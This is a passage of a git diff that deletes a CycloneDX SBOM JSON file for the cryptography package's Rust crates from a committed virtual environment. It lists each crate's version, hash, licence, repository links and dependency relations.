- } - ], - "purl": "pkg:cargo/cc@1.4.0", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/cc" - }, - { - "type": "website", - "url": "https://github.com/rust-lang/cc-rs" - }, - { - "type": "vcs", - "url": "https://github.com/rust-lang/cc-rs" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#cfg-if@1.0.4", - "author": "Alex Crichton ", - "name": "cfg-if", - "version": "1.0.4", - "description": "A macro to ergonomically define an item depending on a large number of #[cfg] parameters. Structured like an if-else chain, the first matching branch is the item that gets emitted. ", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/cfg-if@1.0.4", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/rust-lang/cfg-if" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#find-msvc-tools@0.1.9", - "name": "find-msvc-tools", - "version": "0.1.9", - "description": "Find windows-specific tools, read MSVC versions from the registry and from COM interfaces", - "scope": "excluded", - "hashes": [ - { - "alg": "SHA-256", - "content": "5baebc0774151f905a1a2cc41989300b1e6fbb29aff0ceffa1064fdd3088d582" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/find-msvc-tools@0.1.9", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/find-msvc-tools" - }, - { - "type": "vcs", - "url": "https://github.com/rust-lang/cc-rs" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#foreign-types-shared@0.1.1", - "author": "Steven Fackler ", - "name": "foreign-types-shared", - "version": "0.1.1", - "description": "An internal crate used by foreign-types", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/foreign-types-shared@0.1.1", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/sfackler/foreign-types" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#foreign-types@0.3.2", - "author": "Steven Fackler ", - "name": "foreign-types", - "version": "0.3.2", - "description": "A framework for Rust wrappers over C APIs", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/foreign-types@0.3.2", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/sfackler/foreign-types" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#heck@0.5.0", - "name": "heck", - "version": "0.5.0", - "description": "heck is a case conversion library.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/heck@0.5.0", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/withoutboats/heck" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#itoa@1.0.18", - "author": "David Tolnay ", - "name": "itoa", - "version": "1.0.18", - "description": "Fast integer primitive to string conversion", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "8f42a60cbdf9a97f5d2305f08a87dc4e09308d1276d28c869c684d7777685682" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/itoa@1.0.18", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/itoa" - }, - { - "type": "vcs", - "url": "https://github.com/dtolnay/itoa" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#libc@0.2.189", - "name": "libc", - "version": "0.2.189", - "description": "Raw FFI bindings to platform libraries like libc.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/libc@0.2.189", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/rust-lang/libc" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#once_cell@1.21.4", - "author": "Aleksey Kladov ", - "name": "once_cell", - "version": "1.21.4", - "description": "Single assignment cells and lazy values.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/once_cell@1.21.4", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/once_cell" - }, - { - "type": "vcs", - "url": "https://github.com/matklad/once_cell" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#openssl-macros@0.1.1", - "name": "openssl-macros", - "version": "0.1.1", - "description": "Internal macros used by the openssl crate.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/openssl-macros@0.1.1" - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#openssl-sys@0.9.117", - "author": "Alex Crichton , Steven Fackler ", - "name": "openssl-sys", - "version": "0.9.117", - "description": "FFI bindings to OpenSSL", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "b47e7e6bb2c38cd930d25a23b40fa52e068c10e85f3e03a7f5ba5aaca5713695" - } - ], - "licenses": [ - { - "expression": "MIT" - } - ], - "purl": "pkg:cargo/openssl-sys@0.9.117", - "externalReferences": [ - { - "type": "other", - "url": "openssl" - }, - { - "type": "vcs", - "url": "https://github.com/rust-openssl/rust-openssl" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#openssl@0.10.81", - "author": "Steven Fackler ", - "name": "openssl", - "version": "0.10.81", - "description": "OpenSSL bindings", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "77823a27f0babb03091cb9ed9ef80af3b39dbc82f97e8fa530374b7dafd87a45" - } - ], - "licenses": [ - { - "expression": "Apache-2.0" - } - ], - "purl": "pkg:cargo/openssl@0.10.81", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/rust-openssl/rust-openssl" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#pem@4.0.0", - "author": "Jonathan Creekmore ", - "name": "pem", - "version": "4.0.0", - "description": "Parse and encode PEM-encoded data.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "d354a98a3d1251555de99e8fdd8afda05573c31b82f59063a7b0a29b5527f120" - } - ], - "licenses": [ - { - "expression": "MIT" - } - ], - "purl": "pkg:cargo/pem@4.0.0", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/pem/" - }, - { - "type": "website", - "url": "https://github.com/jcreekmore/pem-rs.git" - }, - { - "type": "vcs", - "url": "https://github.com/jcreekmore/pem-rs.git" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#pkg-config@0.3.33", - "author": "Alex Crichton ", - "name": "pkg-config", - "version": "0.3.33", - "description": "A library to run the pkg-config system tool at build time in order to be used in Cargo build scripts. ", - "scope": "excluded", - "hashes": [ - { - "alg": "SHA-256", - "content": "19f132c84eca552bf34cab8ec81f1c1dcc229b811638f9d283dceabe58c5569e" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/pkg-config@0.3.33", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/pkg-config" - }, - { - "type": "vcs", - "url": "https://github.com/rust-lang/pkg-config-rs" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#portable-atomic@1.14.0", - "name": "portable-atomic", - "version": "1.14.0", - "description": "Portable atomic types including support for 128-bit atomics, atomic float, etc. ", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "3d20d5497ef88037a52ff98267d066e7f11fcc5e99bbfbd58a42336193aacec3" - } - ], - "licenses": [ - { - "expression": "Apache-2.0 OR MIT" - } - ], - "purl": "pkg:cargo/portable-atomic@1.14.0", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/taiki-e/portable-atomic" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107", - "author": "David Tolnay , Alex Crichton ", - "name": "proc-macro2", - "version": "1.0.107", - "description": "A substitute implementation of the compiler's `proc_macro` API to decouple token-based libraries from the procedural macro use case.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/proc-macro2@1.0.107", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/proc-macro2" - }, - { - "type": "vcs", - "url": "https://github.com/dtolnay/proc-macro2" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3-build-config@0.29.0", - "author": "PyO3 Project and Contributors ", - "name": "pyo3-build-config", - "version": "0.29.0", - "description": "Build configuration for the PyO3 ecosystem", - "scope": "excluded", - "hashes": [ - { - "alg": "SHA-256", - "content": "c5e2a7d2f0d013342f295c048ad19237add5154a55b1c5a254c0ec93d4109078" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/pyo3-build-config@0.29.0", - "externalReferences": [ - { - "type": "website", - "url": "https://github.com/pyo3/pyo3" - }, - { - "type": "vcs", - "url": "https://github.com/pyo3/pyo3" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3-ffi@0.29.0", - "author": "PyO3 Project and Contributors ", - "name": "pyo3-ffi", - "version": "0.29.0", - "description": "Python-API bindings for the PyO3 ecosystem", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "ca85c467da1bbc8d866eea5deff9cf29ea5f7785054a17da36e65bda9c05845b" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/pyo3-ffi@0.29.0", - "externalReferences": [ - { - "type": "website", - "url": "https://github.com/pyo3/pyo3" - }, - { - "type": "other", - "url": "python" - }, - { - "type": "vcs", - "url": "https://github.com/pyo3/pyo3" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3-macros-backend@0.29.0", - "author": "PyO3 Project and Contributors ", - "name": "pyo3-macros-backend", - "version": "0.29.0", - "description": "Code generation for PyO3 package", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "4ca3a1557399783172dc5bf39cfca835157732532cba56b71d2292161e53b362" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/pyo3-macros-backend@0.29.0", - "externalReferences": [ - { - "type": "website", - "url": "https://github.com/pyo3/pyo3" - }, - { - "type": "vcs", - "url": "https://github.com/pyo3/pyo3" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3-macros@0.29.0", - "author": "PyO3 Project and Contributors ", - "name": "pyo3-macros", - "version": "0.29.0", - "description": "Proc macros for PyO3 package", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "9ac53762fd065daa3194dd09337a38bd793a188100fd1a9304c4ab312d901771" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/pyo3-macros@0.29.0", - "externalReferences": [ - { - "type": "website", - "url": "https://github.com/pyo3/pyo3" - }, - { - "type": "vcs", - "url": "https://github.com/pyo3/pyo3" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3@0.29.0", - "author": "PyO3 Project and Contributors ", - "name": "pyo3", - "version": "0.29.0", - "description": "Bindings to Python interpreter", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "cd274650b21d4bfc26a0a47587962c1edb425f69287324355cd040c3ea66071c" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/pyo3@0.29.0", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/crate/pyo3/" - }, - { - "type": "website", - "url": "https://github.com/pyo3/pyo3" - }, - { - "type": "other", - "url": "pyo3-python" - }, - { - "type": "vcs", - "url": "https://github.com/pyo3/pyo3" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#quote@1.0.47", - "author": "David Tolnay ", - "name": "quote", - "version": "1.0.47", - "description": "Quasi-quoting macro quote!(...)", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/quote@1.0.47", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/quote/" - }, - { - "type": "vcs", - "url": "https://github.com/dtolnay/quote" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#self_cell@1.3.0", - "author": "Lukas Bergdoll ", - "name": "self_cell", - "version": "1.3.0", - "description": "Safe-to-use proc-macro-free self-referential structs in stable Rust.", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "2ab42ca02749e120097e328d91d415325bdf43b1c72c4c8badf37375fe40a813" - } - ], - "licenses": [ - { - "expression": "Apache-2.0 OR GPL-2.0-only" - } - ], - "purl": "pkg:cargo/self_cell@1.3.0", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/self_cell" - }, - { - "type": "vcs", - "url": "https://github.com/Voultapher/self_cell" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#shlex@2.0.1", - "author": "comex , Fenhl , Adrian Taylor , Alex Touchet , Daniel Parks , Garrett Berg ", - "name": "shlex", - "version": "2.0.1", - "description": "Split a string into shell words, like Python's shlex.", - "scope": "excluded", - "hashes": [ - { - "alg": "SHA-256", - "content": "f8fadd59c855ef2080decdef8ff161eb6661b86933c9d82e5ba29dc602a55aba" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/shlex@2.0.1", - "externalReferences": [ - { - "type": "vcs", - "url": "https://github.com/comex/rust-shlex" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#syn@2.0.119", - "author": "David Tolnay ", - "name": "syn", - "version": "2.0.119", - "description": "Parser for Rust source code", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "872831b642d1a07999a962a351ed35b955ea2cfc8f3862091e2a240a84f17297" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/syn@2.0.119", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/syn" - }, - { - "type": "vcs", - "url": "https://github.com/dtolnay/syn" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#target-lexicon@0.13.5", - "author": "Dan Gohman ", - "name": "target-lexicon", - "version": "0.13.5", - "description": "LLVM target triple types", - "scope": "excluded", - "hashes": [ - { - "alg": "SHA-256", - "content": "adb6935a6f5c20170eeceb1a3835a49e12e19d792f6dd344ccc76a985ca5a6ca" - } - ], - "licenses": [ - { - "expression": "Apache-2.0 WITH LLVM-exception" - } - ], - "purl": "pkg:cargo/target-lexicon@0.13.5", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/target-lexicon/" - }, - { - "type": "vcs", - "url": "https://github.com/bytecodealliance/target-lexicon" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#unicode-ident@1.0.24", - "author": "David Tolnay ", - "name": "unicode-ident", - "version": "1.0.24", - "description": "Determine whether characters have the XID_Start or XID_Continue properties according to Unicode Standard Annex #31", - "scope": "required", - "hashes": [ - { - "alg": "SHA-256", - "content": "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" - } - ], - "licenses": [ - { - "expression": "(MIT OR Apache-2.0) AND Unicode-3.0" - } - ], - "purl": "pkg:cargo/unicode-ident@1.0.24", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/unicode-ident" - }, - { - "type": "vcs", - "url": "https://github.com/dtolnay/unicode-ident" - } - ] - }, - { - "type": "library", - "bom-ref": "registry+https://github.com/rust-lang/crates.io-index#vcpkg@0.2.15", - "author": "Jim McGrath ", - "name": "vcpkg", - "version": "0.2.15", - "description": "A library to find native dependencies in a vcpkg tree at build time in order to be used in Cargo build scripts. ", - "scope": "excluded", - "hashes": [ - { - "alg": "SHA-256", - "content": "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" - } - ], - "licenses": [ - { - "expression": "MIT OR Apache-2.0" - } - ], - "purl": "pkg:cargo/vcpkg@0.2.15", - "externalReferences": [ - { - "type": "documentation", - "url": "https://docs.rs/vcpkg" - }, - { - "type": "vcs", - "url": "https://github.com/mcgoo/vcpkg-rs" - } - ] - } - ], - "dependencies": [ - { - "ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust#cryptography-rust@0.50.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#asn1@0.24.1", - "registry+https://github.com/rust-lang/crates.io-index#base64@0.23.0", - "registry+https://github.com/rust-lang/crates.io-index#cfg-if@1.0.4", - "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-cffi#0.50.0", - "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-crypto#0.50.0", - "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-keepalive#0.50.0", - "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-key-parsing#0.50.0", - "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-openssl#0.50.0", - "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-x509#0.50.0", - "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-x509-verification#0.50.0", - "registry+https://github.com/rust-lang/crates.io-index#foreign-types-shared@0.1.1", - "registry+https://github.com/rust-lang/crates.io-index#openssl@0.10.81", - "registry+https://github.com/rust-lang/crates.io-index#openssl-sys@0.9.117", - "registry+https://github.com/rust-lang/crates.io-index#pem@4.0.0", - "registry+https://github.com/rust-lang/crates.io-index#pyo3@0.29.0", - "registry+https://github.com/rust-lang/crates.io-index#pyo3-build-config@0.29.0", - "registry+https://github.com/rust-lang/crates.io-index#self_cell@1.3.0" - ] - }, - { - "ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-cffi#0.50.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#cc@1.4.0", - "registry+https://github.com/rust-lang/crates.io-index#openssl-sys@0.9.117", - "registry+https://github.com/rust-lang/crates.io-index#pyo3@0.29.0", - "registry+https://github.com/rust-lang/crates.io-index#pyo3-build-config@0.29.0" - ] - }, - { - "ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-crypto#0.50.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#openssl@0.10.81" - ] - }, - { - "ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-keepalive#0.50.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#pyo3@0.29.0" - ] - }, - { - "ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-key-parsing#0.50.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#asn1@0.24.1", - "registry+https://github.com/rust-lang/crates.io-index#cfg-if@1.0.4", - "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-crypto#0.50.0", - "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-openssl#0.50.0", - "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-x509#0.50.0", - "registry+https://github.com/rust-lang/crates.io-index#openssl@0.10.81", - "registry+https://github.com/rust-lang/crates.io-index#openssl-sys@0.9.117", - "registry+https://github.com/rust-lang/crates.io-index#pem@4.0.0" - ] - }, - { - "ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-openssl#0.50.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#cfg-if@1.0.4", - "registry+https://github.com/rust-lang/crates.io-index#foreign-types@0.3.2", - "registry+https://github.com/rust-lang/crates.io-index#foreign-types-shared@0.1.1", - "registry+https://github.com/rust-lang/crates.io-index#openssl@0.10.81", - "registry+https://github.com/rust-lang/crates.io-index#openssl-sys@0.9.117" - ] - }, - { - "ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-x509#0.50.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#asn1@0.24.1" - ] - }, - { - "ref": "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-x509-verification#0.50.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#asn1@0.24.1", - "path+file:///D:/a/cryptography/cryptography/wheelhouse/.tmpPD7PY1/cryptography-50.0.0/src/rust/cryptography-x509#0.50.0" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#asn1@0.24.1", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#asn1_derive@0.24.1", - "registry+https://github.com/rust-lang/crates.io-index#itoa@1.0.18" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#asn1_derive@0.24.1", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107", - "registry+https://github.com/rust-lang/crates.io-index#quote@1.0.47", - "registry+https://github.com/rust-lang/crates.io-index#syn@2.0.119" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#base64@0.23.0" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#bitflags@2.13.1" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#cc@1.4.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#find-msvc-tools@0.1.9", - "registry+https://github.com/rust-lang/crates.io-index#shlex@2.0.1" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#cfg-if@1.0.4" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#find-msvc-tools@0.1.9" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#foreign-types-shared@0.1.1" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#foreign-types@0.3.2", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#foreign-types-shared@0.1.1" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#heck@0.5.0" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#itoa@1.0.18" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#libc@0.2.189" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#once_cell@1.21.4" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#openssl-macros@0.1.1", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107", - "registry+https://github.com/rust-lang/crates.io-index#quote@1.0.47", - "registry+https://github.com/rust-lang/crates.io-index#syn@2.0.119" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#openssl-sys@0.9.117", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#cc@1.4.0", - "registry+https://github.com/rust-lang/crates.io-index#libc@0.2.189", - "registry+https://github.com/rust-lang/crates.io-index#pkg-config@0.3.33", - "registry+https://github.com/rust-lang/crates.io-index#vcpkg@0.2.15" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#openssl@0.10.81", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#bitflags@2.13.1", - "registry+https://github.com/rust-lang/crates.io-index#cfg-if@1.0.4", - "registry+https://github.com/rust-lang/crates.io-index#foreign-types@0.3.2", - "registry+https://github.com/rust-lang/crates.io-index#libc@0.2.189", - "registry+https://github.com/rust-lang/crates.io-index#openssl-macros@0.1.1", - "registry+https://github.com/rust-lang/crates.io-index#openssl-sys@0.9.117" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#pem@4.0.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#base64@0.23.0" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#pkg-config@0.3.33" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#portable-atomic@1.14.0" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#unicode-ident@1.0.24" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3-build-config@0.29.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#target-lexicon@0.13.5" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3-ffi@0.29.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#libc@0.2.189", - "registry+https://github.com/rust-lang/crates.io-index#pyo3-build-config@0.29.0" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3-macros-backend@0.29.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#heck@0.5.0", - "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107", - "registry+https://github.com/rust-lang/crates.io-index#quote@1.0.47", - "registry+https://github.com/rust-lang/crates.io-index#syn@2.0.119" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3-macros@0.29.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107", - "registry+https://github.com/rust-lang/crates.io-index#pyo3-macros-backend@0.29.0", - "registry+https://github.com/rust-lang/crates.io-index#quote@1.0.47", - "registry+https://github.com/rust-lang/crates.io-index#syn@2.0.119" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#pyo3@0.29.0", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#libc@0.2.189", - "registry+https://github.com/rust-lang/crates.io-index#once_cell@1.21.4", - "registry+https://github.com/rust-lang/crates.io-index#portable-atomic@1.14.0", - "registry+https://github.com/rust-lang/crates.io-index#pyo3-build-config@0.29.0", - "registry+https://github.com/rust-lang/crates.io-index#pyo3-ffi@0.29.0", - "registry+https://github.com/rust-lang/crates.io-index#pyo3-macros@0.29.0" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#quote@1.0.47", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#self_cell@1.3.0" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#shlex@2.0.1" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#syn@2.0.119", - "dependsOn": [ - "registry+https://github.com/rust-lang/crates.io-index#proc-macro2@1.0.107", - "registry+https://github.com/rust-lang/crates.io-index#quote@1.0.47", - "registry+https://github.com/rust-lang/crates.io-index#unicode-ident@1.0.24" - ] - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#target-lexicon@0.13.5" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#unicode-ident@1.0.24" - }, - { - "ref": "registry+https://github.com/rust-lang/crates.io-index#vcpkg@0.2.15" - } - ] -} \ No newline at end of file diff --git a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/sboms/sbom.json b/venv/Lib/site-packages/cryptography-50.0.0.dist-info/sboms/sbom.json deleted file mode 100644 index 